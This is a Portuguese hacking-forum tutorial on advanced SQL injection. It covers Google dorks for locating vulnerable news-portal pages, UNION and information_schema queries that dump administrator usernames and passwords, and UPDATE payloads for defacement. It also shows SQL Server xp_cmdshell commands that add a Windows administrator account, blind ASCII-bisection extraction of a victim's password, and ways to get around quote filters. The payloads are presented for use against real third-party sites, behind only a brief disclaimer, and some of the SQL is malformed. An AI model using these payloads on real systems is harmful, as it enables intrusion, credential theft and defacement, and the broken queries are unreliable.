Um destes comandos é o allinurl. Ele serve para retornar somente páginas que tenham determinados termos na URL. Aqui vão alguns exemplos:
allinurl:”admin/index.asp”
allinurl:”admin/login.asp”
allinurl:”admin/default.asp”
allinurl:”admin/admin.asp”

——————————————————————————————————-
* Não vou me aprofundar aqui por já haver outras explanações em post’s aqui no fórum
——————————————————————————————————-

(In)Felizmente, as páginas vulneráveis a SQL Injection estão ficando mais raras, mas ainda é possível achar uma e outra. Verifique página por página.
Prevenção
Preferi não indicar links, matérias ou comentários sobre prevenção (abordarei sobre o assunto em uma outra ocasião), também é preferível que se obtenha informações diretamente de outros autores aqui no forum ou na net (assim valorizamos os esforços de outros profissionais).
Advanced SQL Injection
Na matérias anteriores os caros leitores tiveram uma pequena introdução à SQL Injection (SQL); não foi grande coisa e o modo pelo qual injetávamos SQL, em campos, e para efetuar login está praticamente extinto. É com dificuldade que encontramos sites vulneráveis a técnica, como foi ensinada. Mesmo assim, é muito ignorante aquele que diz que a SQL Injection está morta. O que aconteceu foi que os administradores e web masters captaram a mensagem de que seus sistemas com campos eram vulneráveis e passaram a usar filtros.
Então a SQL Injection estava acabada, estagnada, esgotada e destruída?! Errado! Os administradores se esqueceram de que não são apenas os campos de login que usam SQL…
Nesses sites de empresas e de prefeituras, temos, como exemplo de página que requisita banco de dados, um portal de notícias. Na verdade, não é um requisito usar DBs (Data Base[s]), já vi alguns sites que usam páginas diferentes para as notícias, mas voltemos ao assunto…
As duas principais linguagens de programação voltadas à internet, tirando o HTML e o CSS, obviamente, são o PHP e o ASP. O PHP é uma iniciativa gratuita, criada por Rasmus Lerdof. Já o ASP é uma iniciativa paga criada pela Microsoft.
Na verdade, ambos não são apenas uma linguagem, mas sim todo um sistema que permite um scripting de qualidade. Ao menos, o PHP sim…
Reconhecer a linguagem no qual o portal de notícias é escrito é muito fácil.
Eu nem ia explicar isso, mas vamos dar uma ajudinha aos iniciantes…
Páginas em PHP tem a extensão .php:
Páginas em ASP tem a extensão .asp:
Sem exceção, os servidores que rodam .asp funcionam sob o Windows, por motivos óbvios: o ASP é feito pela Microsoft. Normalmente, usam o SQL Server, também da Microsoft, porém é possível que usem MySQL.
Já os servidores .php geralmente estão no GNU/Linux, usando MySQL, embora possam existir servidores que suportam PHP no Windows.
Basicamente, a linguagem que é utilizada é o SQL, porém toda a plataforma muda, sendo assim, técnicas como a utilização do LIMIT, em MySQL, não funcionam em SQL Server.
Os contrastes podem ser grandes no próprio site. Por exemplo, na maioria dos sites não há filtros contra esse tipo de SQL, porém alguns tem e podem ser burlados através de codificação e de Blind SQL Injection.
Quem nem ao menos sabe do que estou falando, não se preocupe, tudo será ensinado!
Comecemos, então
A técnica de SQL que utilizaremos é baseada na exploração do banco de dados através de erros exibidos, permitindo coletar informações como logins, senhas, endereços de e-mail e em alguns casos (sob SQL Server) executar comandos como se estivéssemos no prompt de comando.
Também nos permite efetuar defacement, entre várias outras opções.
Enfim, podemos utilizar todo o poder da SQL e fundi-la com XSS.
Encontrar páginas vulneráveis à SQL é muito fácil. Uma das melhores
ferramentas existentes para isso e de fácil acesso é o próprio Google, o mesmo buscador que utilizamos todos os dias para fazer trabalhos escolares e encontrar fotos, músicas, videos, etc… apesar de que para imagens é melhor desativar o SafeSearch…
Pois bem, as páginas que usam GET, ou seja, utilizam a URL para passar parâmetros são nas quais mais facilmente injetamos SQL. Sendo assim, o recurso inurl do Google é muito útil.
Em teoria, todas as páginas que utilizam SQL e não têm filtros estão vulneráveis à SQL, então, para encontrá-las, basta procurar páginas que obrigatoriamente usam SQL como portais de notícias por exemplo. Normalmente nestes portais; para facilitar o acesso, cada notícia recebe um ID e é a partir dele que injetaremos comandos SQL.
Sendo assim, as das muitas strings de busca no Google seriam:
inurl:”noticias.php?id=”
inurl:”noticia.php?id=”
inurl:”ver_noticia.php?id=”
inurl:”ver.php?id=”
inurl:”abrir.php?id=”
inurl:”mostrar.php?id=”

Estes são só pequenos exemplos. (Lembrando que também existem páginas vulneráveis em ASP, sendo assim, a string deve ser adaptada).

Para descobrir a vulnerabilidade, basta uma aspa simples ( ) atrás do ?id=.
Se o sistema estiver utilizando MySQL e estiver vulnerável, o erro será este:
——————————————————————————————————-
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ‘‘‘ at line 1.
——————————————————————————————————-

Porém, se estiver utilizando SQL Server, este será o erro:
——————————————————————————————————-
Unclosed quotation mark after the character string ‘‘.
——————————————————————————————————-

Se nenhum erro for exibido, simplesmente a página não está vulnerável ou a abordagem deve ser melhor estruturada, ou seja, feita de meios diferentes. Às vezes, não serão exibidos erros a partir da simples inclusão do apóstrofo, mas serão de outros modos.
Algumas dicas são apagar o valor do ID e por o apóstrofo, ou substituir o valor do ID por null, não exibindo nenhuma notícia. Eu pessoalmente aprecio muito o null.
Também pode acontecer de a página estar vulnerável, mas não exibir esse erro, sendo necessária, como já disse, uma abordagem melhor feita.
Bom, não se preocupe se não encontrar uma página vulnerável na primeira tentativa, afinal, SQL Injection, com todos os seus modos de injeção, é a segunda vulnerabilidade mais popular em páginas da internet, perdendo apenas para XSS.
Páginas vulneráveis a SQL são extremamente comuns!
Expliquemos como faremos o sistema exibir um erro utilizando a aspa simples.
Pouparei a demasia nas explicações, até porque já abordei um pouco das SQL queries em outra ocasião.
Supondo que a query inicial seja:
SELECT noticia, data, autor FROM database.noticias WHERE id=’100′
E estamos pondo um apóstrofo, esta será a query:

SELECT noticia, data, autor FROM database.noticias WHERE id=’100”

O sistema vai tentar obter a notícia, a data, e o autor da notícia através da ID 100 e vai definir outra variável sem nome com a aspa simples do próprio sistema, ou seja, estamos fazendo uma operação impossível, e por isso o sistema acusa o erro. Tanto é que o SQL Server acusa unclosed quotation, “citação” aberta.
Conceitos de Bancos de Dados
Depois de encontrar uma página vulnerável, podemos começar a explorar o banco de dados. Antes de explorá-lo é necessário saber como funciona. Cada site pode ter uma ou mais conexões de bancos de dados, cada banco de dado pode ter uma ou mais tabelas, e cada tabela é divida em linhas e colunas.
Imagine que cada tabela é como uma planilha no Excel ou no Math.
Note que nos exemplos desta página, a query pede as colunas noticia, data e autor, da tabela noticias no banco de dados database.
Aprendendo SQL
Nas matérias anteriores eu já tinha abordado uma parte dos comandos que podemos utilizar em SQL e agora aqui estão mais alguns que serão necessários para os nossos trabalhos:
UNION – é usado para combinar o resultado de SELECT;
ORDER BY – ordena as colunas utilizando como critério uma coluna;
HAVING – “tendo”, ou seja, ser tiver certo critério!
Felizmente, na prática tudo se torna mais esclarecido.
MySQL
Tomemos como exemplo fictício um site cujo endereço é http://site.com.br. Neste site temos várias páginas, e uma delas é a noticias.php.
Acessando o endereço http://site.com.br/noticias.php?id=10’ recebemos o seguinte erro:
——————————————————————————————————-
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ‘‘‘ at line 1.
——————————————————————————————————-

Isso significa que está vulnerável. Se aparecer, ótimo, se não aparecer, não desista! É extremamente comum encontrar sites em PHP que não exibem a mensagem e estão vulneráveis. De qualquer modo, vale a pena tentar se aprofundar antes de simplesmente largar o site. Na verdade, esse passo não é estritamente necessário…
Com um site em mãos, vamos encontrar o número de colunas da tabela que está sendo usada para guardar as notícias, e a partir daí descobrir mais sobre o banco de dados inteiro. Utilizaremos o ORDER BY para tanto.
Vamos tentar número por número até chegar ao número certo de colunas, adicionando o seguinte após a URL , sem o que estiver entre os parênteses:
order by 2 — (notícia exibida)
order by 3 — (notícia exibida)
order by 4 — (notícia exibida)
order by 5 — (notícia exibida)
order by 6 — (erro)

Quando a notícia não é exibida, temos o seguinte erro:
——————————————————————————————————-
Unknown column ‘6’ in ‘order clause’
——————————————————————————————————-

Sabemos agora que a nossa tabela tem apenas cinco colunas – geralmente temos mais, já encontrei sites com dez colunas na tabela – podemos utilizar o UNION para explorar o banco de dados inteiro.
É possível deduzir que em uma query do tipo SELECT título, texto, autor, os resultados serão exibidos na página.
Com o UNION descobrimos quais resultados são exibidos na página e vamos substituir os resultados por qualquer outra query.
A partir de agora é interessante substituir o número do id da notícia por null, que não irá retornar nenhuma notícia e irá facilitar/permitir nosso trabalho.
Mas antes de descobrir o resto do sistema de MySQL, é racional descobrir o banco de dados em que estamos, afinal, imagine um site com mais de uma conexão de banco de dados criada pelo administrador, em qual estamos?
Utilizemos o seguinte esquema, após a URL:
null union select 1,2,3,4,5 from NOTEXIST –
Um erro semelhante a este é exibido:
Table ‘database.NOTEXIST’ doesn’t exist
O que acabamos de fazer é requisitar uma tabela que não existe, sem definir a conexão de banco de dados a que ela pertence, e o sistema, por padrão, adota a conexão atualmente utilizada, que no caso é database. Os dois traços no final, são sinais de comentários em SQL MySQL, para ignorar o resto da query que geraria um erro por causa do apóstrofo de fechamento.
Agora já podemos descobrir mais sobre o banco de dados em que estamos, inclusive possíveis tabelas que guardam informações de login. Para tanto, necessitamos descobrir que resultados de query são exibidos na página; utilizemos esta forma:
null union select 1,2,3,4,5 –
Os resultados variam de página para página, mas seria exibido algo como isso:
——————————————————————————————————-
Notícias
2
2 //1
3
——————————————————————————————————-

Outro exemplo de “displaying” é este:
——————————————————————————————————-
Notícias

5 – 2
4
———————————————————
+ FOTOS (clique na foto para ampliar)
———————————————————
Outras Matérias:
Ø 4/1/1933 – 3
——————————————————————————————————-
Então, escolhemos um ou mais números que são exibidos para explorar todo o sistema de banco de dados.
Supondo que na tela sejam exibidos 1, 2 e 3, como no primeiro exemplo, então usaremos na URL os lugares respectivos ao 3 para nossos objetivos e os outros números, mesmo o 4 e o 5, substituímos por null, ou não…
A Sun, que produz o MySQL quis facilitar o trabalho dos hackers administradores criando um banco de dados que armazena praticamente todas as informações interessantes, como nomes de conexões de bancos de dados, tabelas, colunas entre outras. A partir da versão 5.0 do MySQL temos a DB information_schema, que é amplamente utilizada em SQL.
Dentro da information_schema, temos as tabelas tables e columns que são muito importantes, creio que não seja necessário explicar o que elas guardam; dentro delas, há colunas que guardam todos os nomes de tabelas e colunas do sistema.
Além disso, há uma tabela em especial, que guarda a DB das tabelas e colunas definidas pelo administrador, a table_schema, que também será utilizada.
Primeiramente, vamos descobrir se estamos em um site com o MySQL anterior à 5.0, utilizando o seguinte depois da URL:
null union select 1,2,@@version,4,5 –
Resumidamente, o @@version é uma variável global que guarda a versão do sistema de banco de dados. Baseados nos resultados, que sempre tem o número da versão, temo-no…
Se estamos em um site que utilize 5.0 ou posteriores, ótimo. Se não, então teremos que chutar os nomes das tabelas, seguindo padrões de administração, e todo o papo que se refere à information_schema é inútil.
Alguns exemplos de @@version:
——————————————————————————————————-
5.0.67 –community

5.0.67 –community //1
3
——————————————————————————————————-
——————————————————————————————————-
//2
3

5.0.67 -community
——————————————————————————————————-
Comecamos descobrindo as tabelas no banco de dados que já descobrimos, o database, adicionando o seguinte à URL com o null que estávamos usando:
null union select 1,2,table_name,4,5 from information_schema.tables where table_schema=’database’ limit 0,1 –
Não é preciso dizer, é pedido um nome de tabela à information_schema.tables, quando a DB for database. Se tudo correr bem, teremos um nome de tabela:
——————————————————————————————————-
5 – 2

artigos
——————————————————————————————————-
Perfeito, descobrimos uma tabela, mas o nome dela é noticias, seu conteúdo, deduzimos, não é muito útil para nós, a menos que queiramos fazer um defacement.
Sobre o defacement, é preciso descobrir as colunas da tabela, isso nós veremos adiante.
E agora, como fazemos para descobrir mais tabelas?
Note que na query anterior, utilizei limit 0,1 no final. O limit servirá como um cursor entre as tabelas. Para avançar para a próxima tabela, utilizamos limit 1,1, depois limit 2,1 e assim sucessivamente, até encontrar todas as tabelas.
Supondo que tenhamos encontrado as tabelas “noticias”, “discursos”,
“compromissos”, “login” e “teste”. É altamente deduzível o conteúdo de cada uma, e basta prestar um pouco de atenção para perceber que os usuários e senhas estão armazenados na tabela login…
Agora será necessário descobrir as colunas de cada tabela, já que sem as colunas (onde estão guardados os dados e logins), não conseguimos obter dados. Seria como tentar acertar o meio de um alvo, sem a “mosca”.
Obter os nomes das colunas é muito parecido com obter as tabelas:
null union select 1,2,column_name,4,5 from information_schema.columns where table_name=’login’ limit 0,1 –
E assim utilizamos o LIMIT novamente como cursor.
Ótimo, temos o nome de todas as tabelas, e as colunas da(s) tabela(s) que nos interessa(m), muito bom, e agora, como fazer para obter usuários e senhas, de nossa conhecida tabela login, supondo que descobrimos as colunas user, pass e privileges?
Quase terminando a parte que aborda o MySQL, permita-me ensinar como obter “linhas” de cada coluna da tabela, isto é, o que nos interessou desde o início. Fique sabendo que, encontrou sites vulneráveis, brincou com as tabelas e enfim, entendeu tudo que foi passado, meus parabéns. Para mim não foi tão fácil assim!
Bem, voltando ao objetivo…
Nós estávamos fazendo queries às tabelas do sistema, que para os nossos fins – e não nossos meios – de nada nos interessam. Então, a estrutura da query é a mesma.
null union select 1,2,user,4,5 from database.login –
Ótimo, obtemos um usuário, fulano.
Para obter a senha, como deve saber:
null union select 1,2,pass,4,5 from database.login where user=’fulano’ –
E está lá a senha. Para obter os privilégios, conteúdo da coluna privileges:
null union select 1,2,privileges,4,5 from database.login where user=’fulano’–
Cansativo pegar usuário com uma query, senha com outra query e privilégios com outra? Podemos (tentar) concatenar todos, e obter todos de uma tacada só:
null union select 1,2,concat_ws(user,pass,privileges),4,5 from database.login –
O limit ainda é válido nestes casos, podendo usar como cursor.
Supondo que já saibamos o nome de usuário, ou deduzimos a partir de qualquer lugar, que parte do nome de usuário é admin… Podemos usar o like:
null union select 1,2,concat_ws(user,pass,privileges),4,5 from database.login where user like ‘%admin%’ –
E assim, obtemos o usuário e a senha do administrador, cujo usuário seria; no exemplo, algo parecido com admin.
Bom, podemos obter senhas de usuários do site, ou podemos efetuar um defacement, para deixar a nossa assinatura.
Neste caso…
Neste caso, antes de qualquer coisa, devemos definir a tabela que queremos atacar. Supondo que queiramos modificar uma notícia, a mais recente, para uma mensagem como 6SÃOLAMMAH, primeiro, vamos descobrir quais colunas tem a tabela notícias, aquela em que estávamos no começo:

null union select 1,2,column_name,4,5 from information_schema.columns where table_name=’noticias’ limit 0,1 –

E aí, utilizamos o LIMIT como cursor novamente. Depois de descobrir todas as colunas, que em nosso exemplo seriam algo como id, titulo, texto, autor e data, nós podemos modificar o que queremos com o comando update.
Nesse caso, não estamos mais fazendo queries ao sistema. Agora vamos modificar o banco de dados, e por isso, devemos fechar a query que utilizava o id para se orientar.
Vamos utilizar um ID novo, atribuído a uma notícia fresquinha, para que ninguém tenha que pegar alguma das primeiras notícias para visualizar a sua “arte”. Supomos que este ID seja 1000, e montamos assim, atrás do ?id=:
null update noticias set texto=’6SÃOLAMMAH’ where noticias.id=1000 –
No exemplo, o que fazemos é fechar a string que pega o id, e através do ponto-e-vírgula, passamos outros comandos ao banco de dados. Sendo assim, ao menos em teoria, temos um defacement.
Fazer um deface pode e deve ser mais completo, então, deveríamos ao menos alterar o título da notícia e incrementar nosso texto com alguma coisa em HTML, para que o usuário tenha a sensação de que o “hacker” teve estilo, e não foi apenas idiota.
Quem se ligou agora, deve ter percebido que poderia utilizar algumas funções do PHP para reavivar uma antiga técnica, hoje em desuso, a dita PHP Injection que eu nem pretendo abordar na revista, por estar morta e por ter conteúdo sobrando pela internet…
Mas é isso!
Lembrando que não estou incentivando ninguém a cometer qualquer ato comprometedor, anti-ético ou ilícito, e assim, me isento de qualquer responsabilidade. É muito mais inteligente avisar o administrador que o site dele está vulnerável. O triste é fazer isso quando o administrador e o dono do site são a mesma pessoa, e ainda por cima, um web master, como já aconteceu comigo…
SQL Server
O SQL Server é um produto da Microsoft, sendo assim geralmente roda sob páginas .asp e obrigatoriamente, roda em Windows, já que creio que a Microsoft não vai criar uma versão da sua plataforma para o GNU/Linux...
Considero-o mais fácil de se explorar que o MySQL, não que o adversário seja difícil de explorar, mas falhas em SQL Server permitem causar mais estragos mais facilmente. Posteriormente veremos o motivo.
O esquema de verificação de vulnerabilidade é semelhante ao das plataformas MySQL, a aspa simples e a aspa dupla – e em alguns casos, parênteses e outros caracteres comuns de fechamento. Bom, se não tinha se ligado nisso…
Nos primeiros passos o que mudam são os erros.
Novamente, tentando fechar a string utilizando uma aspa simples, com
http://site.com.br/noticias.asp?id=null’, recebemos:
——————————————————————————————————-
Unclosed quotation mark before the character string ‘‘.
——————————————————————————————————-

Ao contrário do MySQL que é muito comum inserirmos aspa e não retornar nenhum erro, e mesmo assim o site estar vulnerável, no SQL Server é comum exibir o erro “na cara dura”. MySQL 1 x 0 SQL Server.
No SQL Server, vamos trabalhar um pouco diferente do que no MySQL, e podemos explorar diretamente a tabela em que estamos:
http://site.com.br/noticias.asp?id=null having 1=1 –
Surge algo tipo:
——————————————————————————————————-
Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘noticias.id’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
——————————————————————————————————-

Assim, conseguimos uma coluna da nossa tabela!
Para descobrir mais sobre a tabela das notícias, utilizamos a cláusula group by. Assim, injetamos:
http://site.com.br/noticias.asp?id=null group by noticias.id having 1=1 –
——————————————————————————————————-
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘noticias.titulo’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
——————————————————————————————————-

Agora, atrás do .asp?id=:
null group by noticias.id,noticias.titulo having 1=1 –
——————————————————————————————————-
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘noticias.texto’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
——————————————————————————————————-

null group by noticias.id,noticias.titulo,noticias.texto having 1=1–
——————————————————————————————————-
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘noticias.autor’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
——————————————————————————————————-

null group by noticias.id,noticias.titulo,noticias.texto,noticia s.autor having 1=1 –
——————————————————————————————————-
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘noticias.data’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
——————————————————————————————————-

Acabamos. Se executarmos isso:
null group by noticias.id,noticias.titulo,noticias.texto,noticia s.autor,noticias.data
having 1=1 –

——————————————————————————————————-
The text, ntext, and image data types cannot be compared or sorted, except
when using IS NULL or LIKE operator.
——————————————————————————————————-

Sobre esses group by nós podemos, ao invés de utilizar
noticias.id,noticias.etc, podemos também usar simplesmente id,etc, ou seja, não colocamos a tabela na frente. Porém, se existir a mesma coluna em outra tabela, com certeza teremos erros.
Agora, se quisermos, já podemos fazer um defacement:
null update noticias set texto=’6SÃOLAMMAH’ where noticias.id=1000 –
Bom, mas me diga, qual a utilidade do defacement?
Como já estamos bem afiados a esta altura do campeonato, não creio que valha a pena mostrar como obter senhas, porém… o limit não existe em SQL Server.
Ao invés de utilizar o limit, vamos usar uma query com top e not exist para explorar o banco de dados.
null union select top 1 1,2,user,4,5 from database.login where user not exist (select top 0 user from database.login)
O que acabamos de fazer é utilizar o top, que pega a linha x da coluna user, se este resultado não estiver em outra query semelhante, mas com o x-1.
A nossa próxima query seria:
null union select top 2 1,2,user,4,5 from database.login where user not exist (select top 1 user from database.login)

Como vemos, o limit realmente faz falta, mas nada que um cérebro e algumas outras funções não resolvam. Na verdade, o esquema é bem parecido com o limit, mas muda um pouco…
Agora que já aprendemos a explorar o banco de dados, vamos explorar o resto do sistema. Sim, em um servidor existe mais que um banco de dados…
Temos todo um sistema operacional, que a partir de SQL Injection, pode se tornar nosso, ou melhor, podemos tomar conta…
Agora que aprendemos como explorar o banco de dados, permita-me ensinar uma “falha de projeto” do SQL Server, que permite a execução remota de comandos, os mesmos comandos que se digitaria no prompt de comando.
Ou seja, a partir de agora, você terá poder sobre servidores SQL Servers vulneráveis a SQL. MySQL 2 x 0 SQL Server
No SQL Server existe uma função que executa comandos como se o
administrador estivesse em um prompt de comando, o tal do xp_cmdshell.
Supondo que o administrador queira testar a comunicação, ele pode dar um ping em loopback utilizando:
exec master..xp_cmdshell ‘ping localhost’;
Para o invasor, o esquema muda um pouco; estamos de intrusos no sistema e precisamos construir um query que execute esse xp_cmdshell.
Assim, atrás de um id, digitamos:
exec master..xp_cmdshell ‘ping localhost’;
E pronto, o servidor dá ping em loopback.
“Para que isso poderia ser útil?! Que comandos executo?!”
Permita-me exemplificar:
net user [usuario] [senha] /add {cria um usuário no servidor remoto e permite login por telnet ou por área de trabalho remota}.

Se for utilizado em conjunto com
net localgroup Administrators [usuario] /add {adiciona o usuário ao grupo dos administradores}
Por padrão, no SQL Server 2005 o xp_cmdshell está desativado por motivos de segurança, porém, se quisermos, podemos ativá-lo:
exec sp_configure ‘show advanced options’,1
reconfigure
exec sp_configure ‘xp_cmdshell’, ’1′
reconfigure

Lembrando que temos que adequar isso à query para SQL Injection.
Blind SQL Injection
Agora que já aprendemos o básico da SQL e já temos o mínimo de maturidade nesse tipo de técnica, podemos aprender sobre Blind SQL Injection. Antes, de começar, eu gostaria de fazer duas considerações.
A primeira é quanto a origem do nome “blind SQL injection”. Blind, em inglês, é um adjetivo que significa “cego”; isto quer dizer que não usamos os erros comuns para explorar o banco de dados.
A segunda, é que Blind SQL é um pouco mais difícil de entender e demorada que a Advanced SQL comum.
A Blind SQL surgiu da necessidade de burlar ou bypass um “filtro” utilizado por alguns web masters. Colocando-se um sinal de arroba (@) atrás da função que pega os dados, os erros que esta função poderia exibir são ocultos. Normalmente, isso dá uma certa impressão de segurança ao web master que não entende as possibilidades da Blind SQL Injection.
O que fazemos na Blind SQL é utilizar o operador AND para comparar o resultado de uma query com o ID, e retornar os valores booleanos TRUE ou FALSE.
Para descobrir a vulnerabilidade, utilizamos de cara o AND:
http://site.com.br/noticia.php?id=1 and 1=1
http://site.com.br/noticia.php?id=1 and 0=1

O primeiro, caso o site esteja vulnerável, retorna o valor TRUE – já que 1 sempre é igual a 1 – e exibe a página corretamente. No segundo endereço fictício, o site não retornaria uma página “coerente” com o site, já que o resultado sempre é FALSE.
Concluímos que o nosso site fictício está sim vulnerável a Blind SQL e vamos partir para cima dele. Como é um portal de notícias que usa IDs para “linkar” as notícias e é um site brasileiro – que fala português – é provável que a tabela que guarda as notícias seja algo como noticia, noticias, noti, news e muitos outros padrões de administração.
Para explorar o banco de dados, nós vamos utilizar o AND da mesma forma, porém, vamos verificar se um é igual ao resultado de alguma query. Basicamente, é assim que funciona Blind SQL.
O problema de sempre é que não conseguimos visualizar nomes de databases, tabelas e colunas via information_schema ou via sysobjects, e sempre temos que “chutar” o nome…
Primeiramente, vamos descobrir o nome de algumas tabelas.
http://site.com.br/noticias.php?id=1 and 1=(select * from noticias)
Neste caso, seguindo as tabelas que usei como exemplo anteriormente, a página seria exibida normalmente, indicando que de fato existe a tabela noticias. Sabendo disso, poderíamos testar n nomes de tabelas para descobrir qual a tabela que guarda os nomes de usuários e senhas. Não muda muita coisa para capturar nomes de colunas:
http://site.com.br/noticias.php?id= 1 and 1=(select texto from noticias)
Se a coluna texto existir, então a página da notícia 1 é exibida.
Agora já poderíamos efetuar um defacement:

http://site.com.br/noticias.php?id=1000 and 1=(update noticias insert set texto=’6SÃOLAMMAH’ where noticias.id=1000)

Provavelmente, a página já será exibida com o novo texto.
Mas como vivo dizendo, para fins didáticos, o defacement não acrescenta nada.
Caso esteja interessado em expor suas idéias, tente fazer algum outro tipo de protesto…
Agora o objetivo é capturar alguma conta e senha de algum usuário.
Depois de algumas tentativas, descobrimos a tabela que contém os nomes de usuários, senhas e outras informações que não são tão interessantes para nós, cujo nome é login.
Descobrimos também que ela tem as colunas user, pass e privileges por métodos citados anteriormente.
Para descobrir o conteúdo de alguma coluna é um pouco mais difícil, visto que temos que testar os caracteres um por um em valor ASCII.
Vamos utilizar então as funções ascii() e substring().
Supondo que eu tenha algum nome de usuário em mãos, qualquer que seja o meio pelo qual o consegui, basta eu pegar a senha. No exemplo, o usuário seria vitima e a suposta senha, senha, sem números e de apenas letras. O correto seria utilizar letras maiúsculas e minúsculas em senhas, mas isso quase nunca acontece, então podemos testar apenas com letras minúsculas.
Vamos dividir o alfabeto ao meio, pegando o caractere “m” (109) e checando se a primeira letra da senha está acima ou abaixo de “m”:
http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=’vitima’),1,1)) > 109
A página foi exibida, o que significa que o primeiro caractere está acima de ‘m’:

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=’vitima’),1,1)) > 117

Agora a página não é exibida, pois ‘s’ em ASCII é 115. Vamos tentar 113:

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=’vitima’),1,1)) > 113

A página é exibida, então temos um caractere ASCII entre 113 e 117.
http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=’vitima’),1,1)) > 114
TRUE novamente.
http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=’vitima’),1,1)) > 115
FALSE! Isso significa que é 115! Ou, em caracteres, a letra “s”.
Para pegar o próximo caractere da senha, no caso, “e”, fazemos o mesmo, porém, vamos mudar a substring:

http://site.com.br/noticias.php?id=1 AND ascii(substring((select pass from login where user=’vitima’),2,1))

SQL sem aspas
Provavelmente, enquanto estava injetando SQL em alguma página – não adianta negar que não tentou – provavelmente, deve ter recebido um erro semelhante a este:
——————————————————————————————————-
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ‘\’’ at line 1
——————————————————————————————————-

Pois bem, o administrador tentou proteger seu sistema utilizando uma função que adiciona uma barra invertida “\” antes de aspas duplas e aspas simples, a addslashes(). Como sabemos, podemos fazer grande parte da SQL sem aspas , mas quando forem necessárias, podemos utilizar de vários meios para burlar essa proteção. Um deles, para MySQL, é converter cada caractere para seu valor ASCII e utilizar o seguinte formato:
char (11,22,33,44,55)
Em SQL Server, você pode utilizar uma solução parecida:
char (11) + char (22) + char (33) + char (44) + char (55)
Podemos ainda utilizar valores hexadecimais, precedidos por 0x, que indica o valor hexadecimal da constante, deste modo:
0×1122334455

SQL Tricks (truques)
Bom, aqui estão algumas considerações que podem ser decisivas na hora de uma boa SQL:
• — (dois sinais menos) são sinais de comentários “padrão”, mas dependendo do sistema, deve-se usar /* ou #);
• às vezes, o sistema bloqueia espaços no campo de id, para burlar isso e juntar tudo, podemos utilizar %20 no lugar de espaços e %27 no lugar de aspas simples;
• quando isso não funciona, podemos substituir espaços por char(0×20), por +, e em MySQL, às vezes, por /**/;
• se estiver trabalhando em sistemas com que se orientam por IDs e números em geral, não use aspas duplas ou aspas simples, pois não se usa qualquer tratamento diferente com números, ao contrário das strings;
• scanners são para lammers, se quiser achar alguma página vulnerável, utilize o Google;
• tudo varia muito, cada site tem sua própria plataforma, dialeto, padrões e forma de trabalhar diferente, aqui eu procurei ser bastante genérico falando do SQL Server e do MySQL, mas não disse tudo;
Finalizando

Eu gostaria de pedir que o caro leitor não utilize este conhecimento como lammer, ou como script-kiddie, mas sim como um ser humano maduro que “hackeia” apenas para contemplar as falhas do sistema.
Creio que com esta matéria eu tornei o mundo o lugar melhor.
——————————————————————————————————-
Legal, agora você conhece a ponta do iceberg!

RETIRADO DE: http://www.inw-seguranca.com/2011/08/24/tutorial-sql-injection-avancado/